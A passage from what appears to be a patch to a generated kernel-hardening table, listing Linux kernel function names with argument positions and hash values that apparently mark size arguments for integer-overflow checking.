3 58993 _002745_hash NULL ++_002746_hash HDLC_irq 2 8709 _002746_hash NULL ++_002747_hash hdlc_rpr_irq 2 10240 _002747_hash NULL ++_002749_hash ifx_spi_insert_flip_string 3 51752 _002749_hash NULL ++_002753_hash ip_nat_sdp_media 8 23386 _002753_hash NULL ++_002754_hash ip_send_unicast_reply 6 38714 _002754_hash NULL ++_002756_hash ipwireless_network_packet_received 4 51277 _002756_hash NULL ++_002757_hash ipwireless_tty_received 3 49154 _002757_hash NULL ++_002758_hash iscsi_iser_recv 4 41948 _002758_hash NULL ++_002759_hash l2cap_bredr_sig_cmd 3 49065 _002759_hash NULL ++_002760_hash l2cap_sock_alloc_skb_cb 2 33532 _002760_hash NULL ++_002761_hash l2cap_sock_recvmsg 4 59886 _002761_hash NULL ++_002762_hash llcp_allocate_pdu 3 19866 _002762_hash NULL ++_002763_hash macvtap_recvmsg 4 63949 _002763_hash NULL ++_002764_hash osd_req_list_dev_partitions 4 60027 _002764_hash NULL ++_002765_hash osd_req_list_partition_collections 5 38223 _002765_hash NULL ++_002766_hash osst_do_scsi 4 44410 _002766_hash NULL ++_002767_hash ping_sendmsg 4 3782 _002767_hash NULL ++_002768_hash ppp_cp_event 6 2965 _002768_hash NULL ++_002769_hash pty_write 3 44757 _002769_hash &_001733_hash ++_002770_hash push_rx 3 28939 _002770_hash NULL ++_002772_hash qla2x00_handle_queue_full 2 24365 _002772_hash NULL ++_002773_hash qla4xxx_change_queue_depth 2 1268 _002773_hash NULL ++_002774_hash rfcomm_sock_recvmsg 4 22227 _002774_hash NULL ++_002775_hash scsi_execute_req 5 42088 _002775_hash NULL ++_002776_hash _scsih_change_queue_depth 2 26230 _002776_hash NULL ++_002777_hash sctp_sf_abort_violation 6 38380 _002777_hash NULL ++_002778_hash send_to_tty 3 45141 _002778_hash NULL ++_002780_hash sky2_receive 2 13407 _002780_hash NULL ++_002781_hash spi_execute 5 28736 _002781_hash NULL ++_002782_hash submit_inquiry 3 42108 _002782_hash NULL ++_002783_hash tcp_dma_try_early_copy 3 4457 _002783_hash NULL ++_002784_hash tcp_sacktag_walk 6 49703 _002784_hash NULL ++_002785_hash tcp_write_xmit 2 64602 _002785_hash NULL ++_002786_hash ti_recv 4 22027 _002786_hash NULL ++_002787_hash tun_do_read 4 50800 _002787_hash NULL ++_002788_hash ubi_leb_change 4 10289 _002788_hash NULL ++_002789_hash ubi_leb_write 4-5 5478 _002789_hash NULL ++_002791_hash udp_sendmsg 4 4492 _002791_hash NULL ++_002792_hash unix_seqpacket_recvmsg 4 23062 _002792_hash &_000477_hash ++_002793_hash v9fs_cached_file_read 3 2514 _002793_hash NULL ++_002794_hash write_leb 5 36957 _002794_hash NULL ++_002795_hash xfs_buf_read_map 3 40226 _002795_hash NULL ++_002796_hash xfs_trans_get_buf_map 4 2927 _002796_hash NULL ++_002797_hash xlog_do_log_recovery 3 17550 _002797_hash NULL ++_002798_hash ath6kl_wmi_add_wow_pattern_cmd 4 12842 _002798_hash NULL ++_002799_hash ath6kl_wmi_beginscan_cmd 8 25462 _002799_hash NULL ++_002800_hash ath6kl_wmi_send_probe_response_cmd 6 31728 _002800_hash NULL ++_002801_hash ath6kl_wmi_set_appie_cmd 5 39266 _002801_hash NULL ++_002802_hash ath6kl_wmi_set_ie_cmd 6 37260 _002802_hash NULL ++_002803_hash ath6kl_wmi_startscan_cmd 8 33674 _002803_hash NULL ++_002804_hash ath6kl_wmi_test_cmd 3 27312 _002804_hash NULL ++_002805_hash brcmf_sdbrcm_membytes 3-5 37324 _002805_hash NULL ++_002807_hash brcmf_sdbrcm_read_control 3 22721 _002807_hash NULL ++_002808_hash brcmf_tx_frame 3 20978 _002808_hash NULL ++_002809_hash __carl9170_rx 3 56784 _002809_hash NULL ++_002810_hash ch_do_scsi 4 31171 _002810_hash NULL ++_002811_hash dbg_leb_change 4 23555 _002811_hash NULL ++_002812_hash dbg_leb_write 4-5 63555 _002812_hash &_000971_hash ++_002814_hash gluebi_write 3 27905 _002814_hash NULL ++_002815_hash hdlc_irq_one 2 3944 _002815_hash NULL ++_002819_hash iser_rcv_completion 2 8048 _002819_hash NULL ++_002820_hash lock_loop 1 61681 _002820_hash NULL ++_002821_hash process_rcvd_data 3 6679 _002821_hash NULL ++_002822_hash brcmf_sdbrcm_bus_txctl 3 42492 _002822_hash NULL ++_002823_hash carl9170_rx 3 13272 _002823_hash NULL ++_002824_hash carl9170_rx_stream 3 1334 _002824_hash NULL ++_002826_hash mpt_lan_receive_post_turbo 2 13592 _002826_hash NULL ++_002827_hash padzero 1 55 _002827_hash &_002251_hash ++_002828_hash scsi_mode_sense 5 16835 _002828_hash NULL ++_002829_hash scsi_vpd_inquiry 4 30040 _002829_hash NULL ++_002830_hash ses_recv_diag 4 47143 _002830_hash &_000679_hash ++_002831_hash ses_send_diag 4 64527 _002831_hash NULL ++_002832_hash tcp_push_one 2 48816 _002832_hash NULL ++_002833_hash __tcp_push_pending_frames 2 48148 _002833_hash NULL ++_002834_hash trim_bitmaps 3 24158 _002834_hash NULL ++_002835_hash tun_recvmsg 4 48463 _002835_hash NULL ++_002836_hash ubifs_leb_change 4 17789 _002836_hash NULL ++_002837_hash ubifs_leb_write 4-5 22679 _002837_hash NULL ++_002839_hash xfs_buf_readahead_map 3 44248 _002839_hash &_000851_hash ++_002840_hash xfs_trans_read_buf_map 5 37487 _002840_hash NULL ++_002841_hash xlog_do_recover 3 59789 _002841_hash NULL ++_002842_hash btrfs_trim_block_group 3 28963 _002842_hash NULL ++_002843_hash do_write_orph_node 2 64343 _002843_hash NULL ++_002844_hash fix_unclean_leb 3 23188 _002844_hash NULL ++_002845_hash fixup_leb 3 43256 _002845_hash NULL ++_002846_hash recover_head 3 17904 _002846_hash NULL ++_002847_hash scsi_get_vpd_page 4 51951 _002847_hash NULL ++_002848_hash sd_do_mode_sense 5 11507 _002848_hash NULL ++_002849_hash tcp_push 3 10680 _002849_hash NULL ++_002850_hash ubifs_wbuf_write_nolock 3 64946 _002850_hash NULL ++_002851_hash ubifs_write_node 3-5 11258 _002851_hash NULL ++_002852_hash ubifs_recover_leb 3 60639 _002852_hash NULL ++_002853_hash write_head 4 30481 _002853_hash NULL ++_002854_hash write_node 4 33121 _002854_hash NULL ++_002855_hash ubifs_recover_log_leb 3 12079 _002855_hash NULL ++_002856_hash replay_log_leb 3 18704 _002856_hash NULL ++_002857_hash alloc_cpu_rmap 1 65363 _002857_hash NULL ++_002858_hash alloc_ebda_hpc 1-2 50046 _002858_hash NULL ++_002860_hash alloc_sched_domains 1 28972 _002860_hash NULL ++_002861_hash amthi_read 4 45831 _002861_hash NULL ++_002862_hash bcm_char_read 3 31750 _002862_hash NULL ++_002863_hash BcmCopySection 5 2035 _002863_hash NULL ++_002864_hash buffer_from_user 3 51826 _002864_hash NULL ++_002865_hash buffer_to_user 3 35439 _002865_hash NULL ++_002866_hash card_send_command 3 40757 _002866_hash NULL ++_002867_hash chd_dec_fetch_cdata 3 50926 _002867_hash NULL ++_002868_hash copy_nodes_to_user 2 63807 _002868_hash NULL ++_002869_hash create_log 2 8225 _002869_hash NULL ++_002870_hash crystalhd_create_dio_pool 2 3427 _002870_hash NULL ++_002871_hash crystalhd_user_data 3 18407 _002871_hash NULL ++_002872_hash do_pages_stat 2 4437 _002872_hash NULL ++_002873_hash do_read_log_to_user 4 3236 _002873_hash NULL ++_002874_hash do_write_log_from_user 3 39362 _002874_hash NULL ++_002875_hash evm_read_key 3 54674 _002875_hash NULL ++_002876_hash evm_write_key 3 27715 _002876_hash NULL ++_002877_hash fir16_create 3 5574 _002877_hash NULL ++_002878_hash get_nodes 3 39012 _002878_hash NULL ++_002879_hash __iio_allocate_kfifo 2-3 55738 _002879_hash NULL ++_002881_hash __iio_allocate_sw_ring_buffer 3 4843 _002881_hash NULL ++_002882_hash iio_debugfs_read_reg 3 60908 _002882_hash NULL ++_002883_hash iio_debugfs_write_reg 3 22742 _002883_hash NULL ++_002884_hash iio_device_alloc 1 41440 _002884_hash NULL ++_002885_hash iio_event_chrdev_read 3 54757 _002885_hash NULL ++_002886_hash iio_read_first_n_kfifo 2 57910 _002886_hash NULL ++_002887_hash iio_read_first_n_sw_rb 2 51911 _002887_hash NULL ++_002888_hash ioapic_setup_resources 1 35255 _002888_hash NULL ++_002889_hash keymap_store 4 45406 _002889_hash NULL ++_002890_hash line6_alloc_sysex_buffer 4 28225 _002890_hash NULL ++_002891_hash line6_dumpreq_initbuf 3 53123 _002891_hash NULL ++_002892_hash line6_midibuf_init 2 52425 _002892_hash NULL ++_002893_hash _malloc 1 54077 _002893_hash NULL ++_002894_hash mei_read 3 6507 _002894_hash NULL ++_002895_hash mei_write 3 4005 _002895_hash NULL ++_002896_hash msg_set 3 51725 _002896_hash NULL ++_002897_hash newpart 6 47485 _002897_hash NULL ++_002898_hash OS_kmalloc 1 36909 _002898_hash NULL ++_002899_hash OS_mem_token_alloc 1 14276 _002899_hash NULL ++_002900_hash packet_came 3 18072 _002900_hash NULL ++_002901_hash pcpu_alloc_bootmem 2 62074 _002901_hash NULL ++_002902_hash pcpu_build_alloc_info 1-3-2 41443 _002902_hash NULL ++_002905_hash pcpu_get_vm_areas 3 50085 _002905_hash NULL ++_002906_hash resource_from_user 3 30341 _002906_hash NULL ++_002907_hash rtsx_read_cfg_seq 3-5 48139 _002907_hash NULL ++_002909_hash rtsx_write_cfg_seq 3-5 27485 _002909_hash NULL ++_002911_hash sca3000_read_data 4 57064 _002911_hash NULL ++_002912_hash sca3000_read_first_n_hw_rb 2 11479 _002912_hash NULL ++_002913_hash send_midi_async 3 57463 _002913_hash NULL ++_002914_hash sep_create_dcb_dmatables_context 6 37551 _002914_hash NULL ++_002915_hash sep_create_dcb_dmatables_context_kernel 6 49728 _002915_hash NULL ++_002916_hash sep_create_msgarea_context 4 33829 _002916_hash NULL ++_002917_hash sep_lli_table_secure_dma 2-3 64042 _002917_hash NULL ++_002919_hash sep_lock_user_pages 2-3 57470 _002919_hash &_002488_hash ++_002921_hash sep_prepare_input_output_dma_table_in_dcb 4-5-2-3 63087 _002921_hash NULL ++_002923_hash sep_read 3 17161 _002923_hash NULL ++_002924_hash TransmitTcb 4 12989 _002924_hash NULL ++_002925_hash ValidateDSDParamsChecksum 3 63654 _002925_hash NULL ++_002926_hash Wb35Reg_BurstWrite 4 62327 _002926_hash NULL ++_002927_hash alloc_irq_cpu_rmap 1 28459 _002927_hash NULL ++_002928_hash InterfaceTransmitPacket 3 42058 _002928_hash NULL ++_002929_hash line6_dumpreq_init 3 34473 _002929_hash NULL ++_002931_hash pcpu_embed_first_chunk 1-3-2 24224 _002931_hash NULL ++_002933_hash pcpu_fc_alloc 2 11818 _002933_hash NULL ++_002934_hash pcpu_page_first_chunk 1 20712 _002934_hash NULL ++_002935_hash pod_alloc_sysex_buffer 3 31651 _002935_hash NULL ++_002936_hash r8712_usbctrl_vendorreq 6 48489 _002936_hash NULL ++_002937_hash r871x_set_wpa_ie 3 7000 _002937_hash NULL ++_002938_hash sep_prepare_input_dma_table 2-3 2009 _002938_hash NULL ++_002940_hash sep_prepare_input_output_dma_table 2-4-3 63429 _002940_hash NULL ++_002943_hash sys_get_mempolicy 3 30379 _002943_hash NULL ++_002944_hash sys_mbind 5 7990 _002944_hash NULL ++_002945_hash sys_migrate_pages 2 39825 _002945_hash NULL ++_002946_hash sys_move_pages 2 42626 _002946_hash NULL ++_002947_hash sys_set_mempolicy 3 32608 _002947_hash NULL ++_002948_hash variax_alloc_sysex_buffer 3 15237 _002948_hash NULL ++_002949_hash vme_user_read 3 55338 _002949_hash NULL ++_002950_hash vme_user_write 3 15587 _002950_hash NULL ++_002954_hash variax_set_raw2 4 32374 _002954_hash NULL ++_002955_hash copy_in_user 3 57502 _002955_hash NULL ++_002956_hash __earlyonly_bootmem_alloc 2 23824 _002956_hash NULL ++_002957_hash rfc4106_set_key 3 54519 _002957_hash NULL ++_002958_hash sparse_early_usemaps_alloc_pgdat_section 2 62304 _002958_hash NULL ++_002959_hash sparse_early_usemaps_alloc_node 4 9269 _002959_hash NULL ++_002960_hash sparse_mem_maps_populate_node 4 12669 _002960_hash &_002242_hash ++_002961_hash vmemmap_alloc_block 1 43245 _002961_hash NULL ++_002962_hash sparse_early_mem_maps_alloc_node 4 36971 _002962_hash NULL ++_002963_hash vmemmap_alloc_block_buf 1 61126 _002963_hash NULL ++_002964_hash alloc_mr 1 45935 _002964_hash NULL ++_002965_hash atomic_counters_read 3 48827 _002965_hash NULL ++_002966_hash atomic_stats_read 3 36228 _002966_hash NULL ++_002967_hash capabilities_read 3 58457 _002967_hash NULL ++_002968_hash compat_core_sys_select 1 65285 _002968_hash NULL ++_002969_hash compat_dccp_setsockopt 5 51263 _002969_hash NULL ++_002970_hash compat_do_arpt_set_ctl 4 12184 _002970_hash NULL ++_002971_hash compat_do_ip6t_set_ctl 4 3184 _002971_hash NULL ++_002972_hash compat_do_ipt_set_ctl 4 58466 _002972_hash &_002078_hash ++_002973_hash compat_filldir 3 32999 _002973_hash NULL ++_002974_hash compat_filldir64 3 35354 _002974_hash NULL ++_002975_hash compat_fillonedir 3 15620 _002975_hash NULL ++_002976_hash compat_ip_setsockopt 5 13870 _003094_hash NULL nohasharray ++_002977_hash compat_ipv6_setsockopt 5 20468 _002977_hash NULL ++_002978_hash compat_mpctl_ioctl 2 45671 _002978_hash NULL ++_002979_hash compat_raw_setsockopt 5 30634 _002979_hash NULL ++_002980_hash compat_rawv6_setsockopt 5 4967 _002980_hash NULL ++_002981_hash compat_rw_copy_check_uvector 3 22001 _003263_hash NULL nohasharray ++_002982_hash compat_sock_setsockopt 5 23 _002982_hash NULL ++_002983_hash compat_sys_get_mempolicy 3 31109 _002983_hash NULL ++_002984_hash compat_sys_kexec_load 2 35674 _002984_hash NULL ++_002985_hash compat_sys_keyctl 4 9639 _002985_hash NULL ++_002986_hash compat_sys_mbind 5 36256 _002986_hash NULL ++_002987_hash compat_sys_migrate_pages 2 3157 _002987_hash NULL ++_002988_hash compat_sys_move_pages 2 5861 _002988_hash NULL ++_002989_hash compat_sys_mq_timedsend 3 31060 _002989_hash NULL ++_002990_hash compat_sys_msgrcv 2 7482 _002990_hash NULL ++_002991_hash compat_sys_msgsnd 2 10738 _002991_hash NULL ++_002992_hash compat_sys_semtimedop 3 3606 _002992_hash NULL ++_002993_hash compat_sys_set_mempolicy 3 57742 _002993_hash &_002614_hash ++_002994_hash __copy_in_user 3 34790 _002994_hash NULL ++_002995_hash dev_counters_read 3 19216 _002995_hash NULL ++_002996_hash dev_names_read 3 38509 _002996_hash NULL ++_002997_hash driver_names_read 3 60399 _002997_hash NULL ++_002998_hash driver_stats_read 3 8944 _002998_hash NULL ++_002999_hash evdev_ioctl_compat 2 13851 _002999_hash NULL ++_003000_hash evtchn_read 3 3569 _003000_hash NULL ++_003001_hash evtchn_write 3 43278 _003001_hash NULL ++_003002_hash fat_compat_ioctl_filldir 3 36328 _003002_hash NULL ++_003003_hash flash_read 3 57843 _003003_hash NULL ++_003004_hash flash_write 3 62354 _003004_hash NULL ++_003005_hash fw_device_op_compat_ioctl 2 42804 _003005_hash NULL ++_003006_hash gather_array 3 56641 _003006_hash NULL ++_003007_hash ghash_async_setkey 3 60001 _003007_hash NULL ++_003008_hash gntdev_alloc_map 2 35145 _003008_hash NULL ++_003009_hash gnttab_map 2 56439 _003009_hash NULL ++_003010_hash gru_alloc_gts 2-3 60056 _003010_hash &_000981_hash ++_003012_hash hiddev_compat_ioctl 2 41255 _003012_hash NULL ++_003013_hash init_cdev 1 8274 _003013_hash NULL ++_003014_hash init_per_cpu 1 17880 _003014_hash NULL ++_003015_hash ipath_create_cq 2 45586 _003015_hash NULL ++_003016_hash ipath_get_base_info 3 7043 _003016_hash NULL ++_003017_hash ipath_init_qp_table 2 25167 _003017_hash NULL ++_003018_hash ipath_resize_cq 2 712 _003018_hash NULL ++_003019_hash joydev_compat_ioctl 2 8765 _003019_hash NULL ++_003020_hash mon_bin_compat_ioctl 3 50234 _003020_hash NULL ++_003021_hash options_write 3 47243 _003021_hash NULL ++_003022_hash portcntrs_1_read 3 47253 _003022_hash NULL ++_003023_hash portcntrs_2_read 3 56586 _003023_hash NULL ++_003024_hash portnames_read 3 41958 _003024_hash NULL ++_003025_hash ptc_proc_write 3 12076 _003025_hash NULL ++_003026_hash put_cmsg_compat 4 35937 _003026_hash NULL ++_003027_hash qib_alloc_devdata 2 51819 _003027_hash NULL ++_003028_hash qib_alloc_fast_reg_page_list 2 10507 _003028_hash NULL ++_003029_hash qib_cdev_init 1 34778 _003029_hash NULL ++_003030_hash qib_create_cq 2 27497 _003030_hash NULL ++_003031_hash qib_diag_write 3 62133 _003031_hash NULL ++_003032_hash qib_get_base_info 3 11369 _003032_hash NULL ++_003033_hash qib_resize_cq 2 53090 _003033_hash NULL ++_003034_hash qsfp_1_read 3 21915 _003034_hash NULL ++_003035_hash qsfp_2_read 3 31491 _003035_hash NULL ++_003036_hash queue_reply 3 22416 _003036_hash NULL ++_003037_hash spidev_compat_ioctl 2 63778 _003037_hash NULL ++_003038_hash split 2 11691 _003038_hash NULL ++_003039_hash stats_read_ul 3 32751 _003039_hash NULL ++_003040_hash sys32_ipc 3 7238 _003040_hash NULL ++_003041_hash sys32_rt_sigpending 2 25814 _003041_hash NULL ++_003042_hash tunables_read 3 36385 _003042_hash NULL ++_003043_hash tunables_write 3 59563 _003043_hash NULL ++_003044_hash xenbus_file_write 3 6282 _003044_hash NULL ++_003045_hash xlbd_reserve_minors 1-2 18365 _003045_hash NULL ++_003047_hash xpc_kmalloc_cacheline_aligned 1 42895 _003047_hash NULL ++_003048_hash xpc_kzalloc_cacheline_aligned 1 65433 _003048_hash NULL ++_003049_hash xsd_read 3 15653 _003049_hash NULL ++_003050_hash compat_do_readv_writev 4 49102 _003050_hash NULL ++_003051_hash compat_keyctl_instantiate_key_iov 3 57431 _003088_hash NULL nohasharray ++_003052_hash compat_process_vm_rw 3-5 22254 _003052_hash NULL ++_003054_hash compat_sys_select 1 16131 _003054_hash NULL ++_003055_hash compat_sys_setsockopt 5 3326 _003055_hash NULL ++_003056_hash compat_udp_setsockopt 5 38840 _003056_hash NULL ++_003057_hash compat_udpv6_setsockopt 5 42981 _003057_hash NULL ++_003058_hash do_compat_pselect 1 10398 _003058_hash NULL ++_003059_hash gnttab_expand 1 15817 _003059_hash NULL ++_003060_hash ipath_cdev_init 1 37752 _003060_hash NULL ++_003061_hash ipath_reg_phys_mr 3 23918 _003061_hash &_000999_hash ++_003062_hash qib_alloc_fast_reg_mr 2 12526 _003062_hash NULL ++_003063_hash qib_reg_phys_mr 3 60202 _003063_hash &_000897_hash ++_003064_hash compat_readv 3 30273 _003064_hash NULL ++_003065_hash compat_sys_process_vm_readv 3-5 15374 _003065_hash NULL ++_003067_hash compat_sys_process_vm_writev 3-5 41194 _003067_hash NULL ++_003069_hash compat_sys_pselect6 1 14105 _003069_hash NULL ++_003070_hash compat_writev 3 60063 _003070_hash NULL ++_003071_hash get_free_entries 1 46030 _003071_hash NULL ++_003072_hash compat_sys_preadv64 3 24283 _003072_hash NULL ++_003073_hash compat_sys_pwritev64 3 51151 _003073_hash NULL ++_003074_hash compat_sys_readv 3 20911 _003074_hash NULL ++_003075_hash compat_sys_writev 3 5784 _003075_hash NULL ++_003076_hash gnttab_alloc_grant_references 1 18240 _003076_hash NULL ++_003077_hash compat_sys_preadv 3 583 _003077_hash NULL ++_003078_hash compat_sys_pwritev 3 17886 _003078_hash NULL ++_003079_hash aes_decrypt_fail_read 3 54815 _003079_hash NULL ++_003080_hash aes_decrypt_interrupt_read 3 19910 _003080_hash NULL ++_003081_hash aes_decrypt_packets_read 3 10155 _003081_hash NULL ++_003082_hash aes_encrypt_fail_read 3 32562 _003082_hash NULL ++_003083_hash aes_encrypt_interrupt_read 3 39919 _003083_hash NULL ++_003084_hash aes_encrypt_packets_read 3 48666 _003084_hash NULL ++_003085_hash agp_remap 2 30665 _003085_hash NULL ++_003086_hash alloc_apertures 1 56561 _003086_hash NULL ++_003087_hash allocate_probes 1 40204 _003087_hash NULL ++_003088_hash alloc_ftrace_hash 1 57431 _003088_hash &_003051_hash ++_003089_hash alloc_page_cgroup 1 2919 _003089_hash NULL ++_003090_hash __alloc_preds 2 9492 _003090_hash NULL ++_003091_hash __alloc_pred_stack 2 26687 _003091_hash NULL ++_003092_hash alloc_sched_domains 1 47756 _003092_hash NULL ++_003093_hash alloc_trace_probe 6 38720 _003093_hash NULL ++_003094_hash alloc_trace_uprobe 3 13870 _003094_hash &_002976_hash ++_003095_hash ath6kl_sdio_alloc_prep_scat_req 2 51986 _003095_hash NULL ++_003096_hash ath6kl_usb_post_recv_transfers 2 32892 _003096_hash NULL ++_003097_hash ath6kl_usb_submit_ctrl_in 6 32880 _003097_hash &_000795_hash ++_003098_hash ath6kl_usb_submit_ctrl_out 6 9978 _003098_hash NULL ++_003099_hash av7110_ipack_init 2 46655 _003099_hash NULL ++_003100_hash av7110_vbi_write 3 34384 _003100_hash NULL ++_003101_hash bin_uuid 3 28999 _003101_hash NULL ++_003102_hash blk_dropped_read 3 4168 _003102_hash NULL ++_003103_hash blk_msg_write 3 13655 _003103_hash NULL ++_003104_hash brcmf_usbdev_qinit 2 19090 _003104_hash &_001715_hash ++_003105_hash brcmf_usb_dl_cmd 4 53130 _003105_hash NULL ++_003106_hash ci_ll_init 3 12930 _003106_hash NULL ++_003107_hash ci_ll_write 4 3740 _003107_hash NULL ++_003108_hash conf_read 3 55786 _003108_hash NULL ++_003109_hash __copy_from_user_inatomic_nocache 3 49921 _003109_hash NULL ++_003110_hash cx24116_writeregN 4 41975 _003110_hash NULL ++_003111_hash cyttsp_probe 4 1940 _003111_hash NULL ++_003112_hash dccpprobe_read 3 52549 _003112_hash NULL ++_003113_hash ddb_input_read 3 9743 _003113_hash NULL ++_003114_hash ddb_output_write 3 31902 _003114_hash NULL ++_003115_hash __devres_alloc 2 25598 _003115_hash NULL ++_003116_hash dma_rx_errors_read 3 52045 _003116_hash NULL ++_003117_hash dma_rx_requested_read 3 65354 _003117_hash NULL ++_003118_hash dma_tx_errors_read 3 46060 _003118_hash NULL ++_003119_hash dma_tx_requested_read 3 16110 _003203_hash NULL nohasharray ++_003120_hash do_dmabuf_dirty_sou 7 3017 _003120_hash NULL ++_003121_hash do_surface_dirty_sou 7 39678 _003121_hash NULL ++_003122_hash driver_state_read 3 17194 _003122_hash &_001511_hash ++_003123_hash drm_agp_bind_pages 3 56748 _003123_hash NULL ++_003124_hash drm_buffer_alloc 2 44405 _003124_hash NULL ++_003125_hash drm_calloc_large 1-2 65421 _003125_hash NULL ++_003127_hash drm_fb_helper_init 3-4 19044 _003127_hash NULL ++_003129_hash drm_ht_create 2 18853 _003129_hash NULL ++_003130_hash drm_ioctl 2 42813 _003130_hash NULL ++_003131_hash drm_malloc_ab 1-2 16831 _003131_hash NULL ++_003133_hash drm_mode_crtc_set_gamma_size 2 31881 _003133_hash NULL ++_003134_hash drm_plane_init 6 28731 _003134_hash NULL ++_003135_hash drm_property_create 4 51239 _003135_hash NULL ++_003136_hash drm_property_create_blob 2 7414 _003136_hash NULL ++_003137_hash drm_vblank_init 2 11362 _003137_hash NULL ++_003138_hash drm_vmalloc_dma 1 14550 _003138_hash NULL ++_003139_hash dvb_aplay 3 56296 _003139_hash NULL ++_003140_hash dvb_ca_en50221_init 4 45718 _003140_hash NULL ++_003141_hash dvb_ca_en50221_io_write 3 43533 _003141_hash NULL ++_003142_hash dvb_dmxdev_set_buffer_size 2 55643 _003142_hash NULL ++_003143_hash dvbdmx_write 3 19423 _003143_hash NULL ++_003144_hash dvb_dvr_set_buffer_size 2 9840 _003144_hash NULL ++_003145_hash dvb_net_sec 3 37884 _003145_hash NULL ++_003146_hash dvb_play 3 50814 _003146_hash NULL ++_003147_hash dvb_ringbuffer_pkt_read_user 2-5-3 4303 _003147_hash NULL ++_003150_hash dvb_ringbuffer_read_user 3 56702 _003150_hash NULL ++_003151_hash dvb_usercopy 2 14036 _003151_hash NULL ++_003152_hash dw210x_op_rw 6 39915 _003152_hash NULL ++_003153_hash edt_ft5x06_debugfs_raw_data_read 3 28002 _003153_hash NULL ++_003154_hash em_canid_change 3 14150 _003154_hash NULL ++_003155_hash event_calibration_read 3 21083 _003155_hash NULL ++_003156_hash event_enable_read 3 7074 _003156_hash NULL ++_003157_hash event_filter_read 3 23494 _003157_hash NULL ++_003158_hash event_filter_write 3 56609 _003158_hash NULL ++_003159_hash event_heart_beat_read 3 48961 _003159_hash NULL ++_003160_hash event_id_read 3 64288 _003160_hash &_001300_hash ++_003161_hash event_oom_late_read 3 61175 _003161_hash &_001054_hash ++_003162_hash event_phy_transmit_error_read 3 10471 _003162_hash NULL ++_003163_hash event_rx_mem_empty_read 3 40363 _003163_hash NULL ++_003164_hash event_rx_mismatch_read 3 38518 _003164_hash NULL ++_003165_hash event_rx_pool_read 3 25792 _003165_hash NULL ++_003166_hash event_tx_stuck_read 3 19305 _003166_hash NULL ++_003167_hash excessive_retries_read 3 60425 _003167_hash NULL ++_003168_hash flexcop_device_kmalloc 1 54793 _003168_hash NULL ++_003169_hash fm_send_cmd 5 39639 _003169_hash NULL ++_003170_hash __fprog_create 2 41263 _003170_hash NULL ++_003171_hash fq_codel_zalloc 1 15378 _003171_hash NULL ++_003172_hash ftrace_pid_write 3 39710 _003172_hash NULL ++_003173_hash ftrace_profile_read 3 21327 _003173_hash NULL ++_003174_hash fw_stats_raw_read 3 1369 _003174_hash NULL ++_003175_hash get_info 3 55681 _003175_hash NULL ++_003176_hash __get_vm_area_node 1 55305 _003176_hash NULL ++_003177_hash gpio_power_read 3 36059 _003177_hash NULL ++_003178_hash h5_prepare_pkt 4 12085 _003178_hash NULL ++_003179_hash hsc_msg_alloc 1 60990 _003179_hash NULL ++_003180_hash hsc_write 3 55875 _003180_hash NULL ++_003181_hash hsi_alloc_controller 1 41802 _003181_hash NULL ++_003182_hash hsi_register_board_info 2 13820 _003182_hash NULL ++_003183_hash hugetlb_cgroup_read 5 49259 _003183_hash NULL ++_003184_hash i915_cache_sharing_read 3 24775 _003184_hash NULL ++_003185_hash i915_cache_sharing_write 3 57961 _003185_hash NULL ++_003186_hash i915_max_freq_read 3 20581 _003186_hash NULL ++_003187_hash i915_max_freq_write 3 11350 _003187_hash NULL ++_003188_hash i915_min_freq_read 3 38470 _003188_hash NULL ++_003189_hash i915_min_freq_write 3 10981 _003189_hash NULL ++_003190_hash i915_ring_stop_read 3 42549 _003190_hash &_000740_hash ++_003191_hash i915_ring_stop_write 3 59010 _003191_hash NULL ++_003192_hash i915_wedged_read 3 35474 _003192_hash NULL ++_003193_hash i915_wedged_write 3 47771 _003193_hash NULL ++_003194_hash ieee802154_alloc_device 1 13767 _003194_hash NULL ++_003195_hash intel_sdvo_write_cmd 4 54377 _003195_hash &_000832_hash ++_003196_hash isr_cmd_cmplt_read 3 53439 _003196_hash NULL ++_003197_hash isr_commands_read 3 41398 _003197_hash NULL ++_003198_hash isr_decrypt_done_read 3 49490 _003198_hash NULL ++_003199_hash isr_dma0_done_read 3 8574 _003199_hash NULL ++_003200_hash isr_dma1_done_read 3 48159 _003200_hash NULL ++_003201_hash isr_fiqs_read 3 34687 _003201_hash NULL ++_003202_hash isr_host_acknowledges_read 3 54136 _003202_hash NULL ++_003203_hash isr_hw_pm_mode_changes_read 3 16110 _003203_hash &_003119_hash ++_003204_hash isr_irqs_read 3 9181 _003204_hash NULL ++_003205_hash isr_low_rssi_read 3 64789 _003205_hash NULL ++_003206_hash isr_pci_pm_read 3 30271 _003206_hash NULL ++_003207_hash isr_rx_headers_read 3 38325 _003207_hash NULL ++_003208_hash isr_rx_mem_overflow_read 3 43025 _003208_hash NULL ++_003209_hash isr_rx_procs_read 3 31804 _003209_hash NULL ++_003210_hash isr_rx_rdys_read 3 35283 _003210_hash NULL ++_003211_hash isr_tx_exch_complete_read 3 16103 _003211_hash NULL ++_003212_hash isr_tx_procs_read 3 23084 _003212_hash NULL ++_003213_hash isr_wakeups_read 3 49607 _003213_hash NULL ++_003214_hash LoadBitmap 2 19658 _003214_hash NULL ++_003215_hash mem_cgroup_read 5 22461 _003215_hash NULL ++_003216_hash mic_calc_failure_read 3 59700 _003216_hash NULL ++_003217_hash mic_rx_pkts_read 3 27972 _003217_hash NULL ++_003218_hash __module_alloc 1 50004 _003218_hash NULL ++_003219_hash module_alloc_update_bounds_rw 1 63233 _003219_hash NULL ++_003220_hash module_alloc_update_bounds_rx 1 58634 _003220_hash NULL ++_003221_hash mwifiex_usb_submit_rx_urb 2 54558 _003221_hash NULL ++_003222_hash nfc_hci_hcp_message_tx 6 14534 _003222_hash NULL ++_003223_hash nfc_hci_set_param 5 40697 _003223_hash NULL ++_003224_hash nfc_shdlc_alloc_skb 2 12741 _003224_hash NULL ++_003225_hash opera1_xilinx_rw 5 31453 _003225_hash NULL ++_003226_hash persistent_ram_vmap 1-2 709 _003226_hash NULL ++_003228_hash prctl_set_mm 3 64538 _003228_hash NULL ++_003229_hash probe_kernel_write 3 17481 _003229_hash NULL ++_003230_hash proc_fault_inject_read 3 36802 _003230_hash NULL ++_003231_hash proc_fault_inject_write 3 21058 _003231_hash NULL ++_003232_hash ps_pspoll_max_apturn_read 3 6699 _003232_hash NULL ++_003233_hash ps_pspoll_timeouts_read 3 11776 _003233_hash NULL ++_003234_hash ps_pspoll_utilization_read 3 5361 _003234_hash NULL ++_003235_hash ps_upsd_max_apturn_read 3 19918 _003235_hash NULL ++_003236_hash ps_upsd_max_sptime_read 3 63362 _003236_hash NULL ++_003237_hash ps_upsd_timeouts_read 3 28924 _003237_hash NULL 